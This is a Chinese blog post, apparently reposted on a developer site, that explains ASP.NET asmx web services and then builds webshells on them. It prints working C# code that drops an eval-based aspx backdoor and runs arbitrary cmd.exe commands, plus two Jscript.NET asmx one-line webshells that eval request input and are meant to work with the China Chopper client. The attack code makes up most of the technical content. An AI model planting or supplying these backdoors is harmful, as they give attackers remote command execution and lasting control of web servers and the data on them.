探索基于.NET下实现一句话木马之asmx篇

栏目: 服务器 · 发布时间: 7年前

内容简介:上篇介绍了一般处理程序(ashx)的工作原理以及实现一句话木马的过程,今天接着介绍Web Service程序 (asmx)下的工作原理和如何实现一句话木马的介绍,当然介绍之前笔者找到了一款asmx马儿

探索基于.NET下实现一句话木马之asmx篇

0x01 前言

上篇介绍了一般处理程序(ashx)的工作原理以及实现一句话木马的过程,今天接着介绍Web Service程序 (asmx)下的工作原理和如何实现一句话木马的介绍,当然介绍之前笔者找到了一款asmx马儿 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.asmx ,依旧是一个大马如下图

探索基于.NET下实现一句话木马之asmx篇

这个还只是对客户端的菜刀做了适配可用,暂时不符合一句话木马的特点哈,至于要打造一款居家旅行必备的菜刀马,还得从原理上搞清楚 asmx的运行过程。

0x02 简介和原理

Web Service是一个基于可编程的web的应用程序,用于开发分布式的互操作的应用程序,也是一种web服务,Web Service的主要目标是跨平台的可互操作性,为了实现这一目标Web Service 完全基于XML(可扩展标记语言)、XSD(XML Schema)等独立于平台、独立于软件供应商的标准,是创建可互操作的、分布式应用程序的新平台。简单的来说Web Service具备三个要素SOAP(Simple Object Access Protocol)、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration)之一, SOAP用来描述传递信息的格式, WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发查询webService ,也因此使用Web Service有许多优点,例如可以跨平台工作、部署升级维护起来简单方便、实现多数据多个服务的聚合使用等等。再结合下图说明一下WebService工作的流程。 探索基于.NET下实现一句话木马之asmx篇

无论使用什么 工具 、语言编写 WebService,都可以使用 SOAP 协议通过 HTTP 调用,创建 WebService 后,任何语言、平台的客户都可以阅读 WSDL 文档来调用 WebService ,同时客户端也可以根据 WSDL 描述文档生成一个 SOAP 请求信息并发送到Web服务器,Web服务器再将请求转发给 WebService 请求处理器。

对于.Net而言,WebService请求处理器则是一个 .NET Framework 自带的 ISAPI Extension。Web请求处理器用于解析收到的SOAP请求,调用 WebService,然后生成相应的SOAP应答。Web服务器得到SOAP应答后,在通过HTTP应答的方式将其返回给客户端,但WebService也支持HTTP POST请求,仅需要在服务端增加一项配置即可。

0x03 一句话的实现

3.1、WebMethod

在Web Service程序中,如果一个公共方法想被外界访问调用的话,就需要加上WebMethod,加上[WebMethod]属性的公有方法就可以被访问,而没有加这个属性的方法就是不能被访问的。将 WebMethod 属性 (Attribute) 附加到 Public 方法表示希望将该方法公开为 XML Web services 的一部分,它具备6个属性:Description 、EnableSession、MessageName、TransactionOption、CacheDuration、BufferResponse,为了更清晰的表述WebService请看下面这段代码

{

[WebService(Namespace = “http://tempuri.org/”)]

[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]

[System.ComponentModel.ToolboxItem(false)]

// 若要允许使用 ASP.NET AJAX 从脚本中调用此 Web 服务,请取消注释以下行。

// [System.Web.Script.Services.ScriptService]

public class WebService2 : System.Web.Services.WebService

{

[WebMethod]

public string HelloWorld()

{

return “Hello World”;

}

}

}

探索基于.NET下实现一句话木马之asmx篇

这里声明成一个字符串类型的公共方法HelloWorld,如果此时在方法体内实现创建aspx文件,保存内容为一句话小马的话那么这个WebService就变成了服务后门,依照这个推理就产生了C#版本的WebService小马,实现了两个功能,一个是创建文件,还有一个是执行CMD命令,核心代码如下:

[WebMethod]

/**

Create A BackDoor

**/

public string webShell()

{

StreamWriter wickedly = File.CreateText(HttpContext.Current.Server.MapPath(“Ivan.aspx”));

wickedly.Write(“<%@ Page Language=\”Jscript\”%><%eval(Request.Item[\”Ivan\”],\”unsafe\”);%>”);

wickedly.Flush();

wickedly.Close();

return “Wickedly”;

}

[WebMethod]

/**

Exec Command via cmdShell

**/

public string cmdShell(string input)

{

Process pr = new Process();

pr.StartInfo.FileName = “cmd.exe”;

pr.StartInfo.RedirectStandardOutput = true;

pr.StartInfo.UseShellExecute = false;

pr.StartInfo.Arguments = “/c ” + input;

pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

pr.Start();

StreamReader osr = pr.StandardOutput;

String ocmd = osr.ReadToEnd();

osr.Close();

osr.Dispose();

return ocmd;

}

小马运行后执行CMD命令如下图

探索基于.NET下实现一句话木马之asmx篇

知道原理后就开始着手打造菜刀可用的一句话木马,和一般处理程序类似通过Jscript.Net的eval方法去实现代码执行,根据之前的介绍WebMethod有多个属性并且根据微软的官方文档 https://docs.microsoft.com/zh-cn/previous-versions/dotnet/netframework-1.1/1tyazy68%28v%3dvs.80%29 可以得出Jscript.Net中可以使用 WebMethodAttribute 来替代[WebMethod]。

一句话实现的代码如下:

import System;

import System.Web;

import System.IO;

import System.Web.Services;

public class asmxWebMethodSpy extends WebService

{

WebMethodAttribute function Invoke(Ivan: String) : Void

{

var I = HttpContext.Current;

var Request = I.Request;

var Response = I.Response;

var Server = I.Server;

Response.Write(“<H1>Just for Research Learning, Do Not Abuse It! Written By <a href=’https://github.com/Ivan1ee’>Ivan1ee</a></H1>”);

eval(Ivan);

}

}

打开浏览器,测试效果如下

探索基于.NET下实现一句话木马之asmx篇

依照SOAP1.1的规范要求,发送请求的数据包就可以实现一句话代码执行,笔者这里还是拿当前的时间作为攻击载荷,如下图

探索基于.NET下实现一句话木马之asmx篇

3.2、ScriptMethod

在研究WebMethod的时候,发现VisualStudio有段注释如下图

探索基于.NET下实现一句话木马之asmx篇

当客户端请求的方式是AJAX的时候会导入System.Web.Script.Services.ScriptService命名空间,笔者尝试去挖掘一下可能存在的新的攻击点

探索基于.NET下实现一句话木马之asmx篇

代码里ResponseFormat表示方法要返回的类型,一般为Json或者XML; UseHttpGet等于true表示前台的ajax是通过GET可以访问此方法,如果前台ajax通过POST,则报错。

根据C#中的代码可知需要配置WebMethod和ScriptMethod才能正常玩转,而在Jscript.Net中实现这两个功能的分类是WebMethodAttribute类和ScriptMethodAttribute类,最终写出一句话木马服务端代码:

import System;

import System.Web;

import System.IO;

import System.Web.Services

import System.Web.Script.Services

public class ScriptMethodSpy extends WebService

{

WebMethodAttribute ScriptMethodAttribute function Invoke(Ivan : String) : Void

{

var I = HttpContext.Current;

var Request = I.Request;

var Response = I.Response;

var Server = I.Server;

Response.Write(“<H1>Just for Research Learning, Do Not Abuse It! Written By <a href=’https://github.com/Ivan1ee’>Ivan1ee</a></H1>”);

eval(Ivan);

}

}

打开浏览器输入 Response.Write(DateTime.Now) 成功打印出当前时间

探索基于.NET下实现一句话木马之asmx篇

探索基于.NET下实现一句话木马之asmx篇

可惜的是这种方法不支持.NET  2.0究其原因是using System.Web.Script.Services;这个命名空间并不在System.Web中,而是在ajax扩展中需要额外安装ASP.NET 2.0 AJAX Extensions,所以在2.0的环境下尽量避免使用该方法。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

PWA实战

PWA实战

[美]Dean Alan Hume / 郑丰彧 / 电子工业出版社 / 2018-6 / 69

Progressive Web App(PWA)是由谷歌提出的一整套技术解决方案,它致力于为 Web 提供出色的用户体验,并完美体现了渐进增强原则。作为为数不多的实战入门用书,《PWA 实战:面向下一代的Progressive Web App》旨在通过大量清晰示例来介绍 PWA 的主要特性。全书一共由五个部分组成:第一部分介绍 PWA 的概念及解锁 PWA 应用的关键—Service Worker......一起来看看 《PWA实战》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具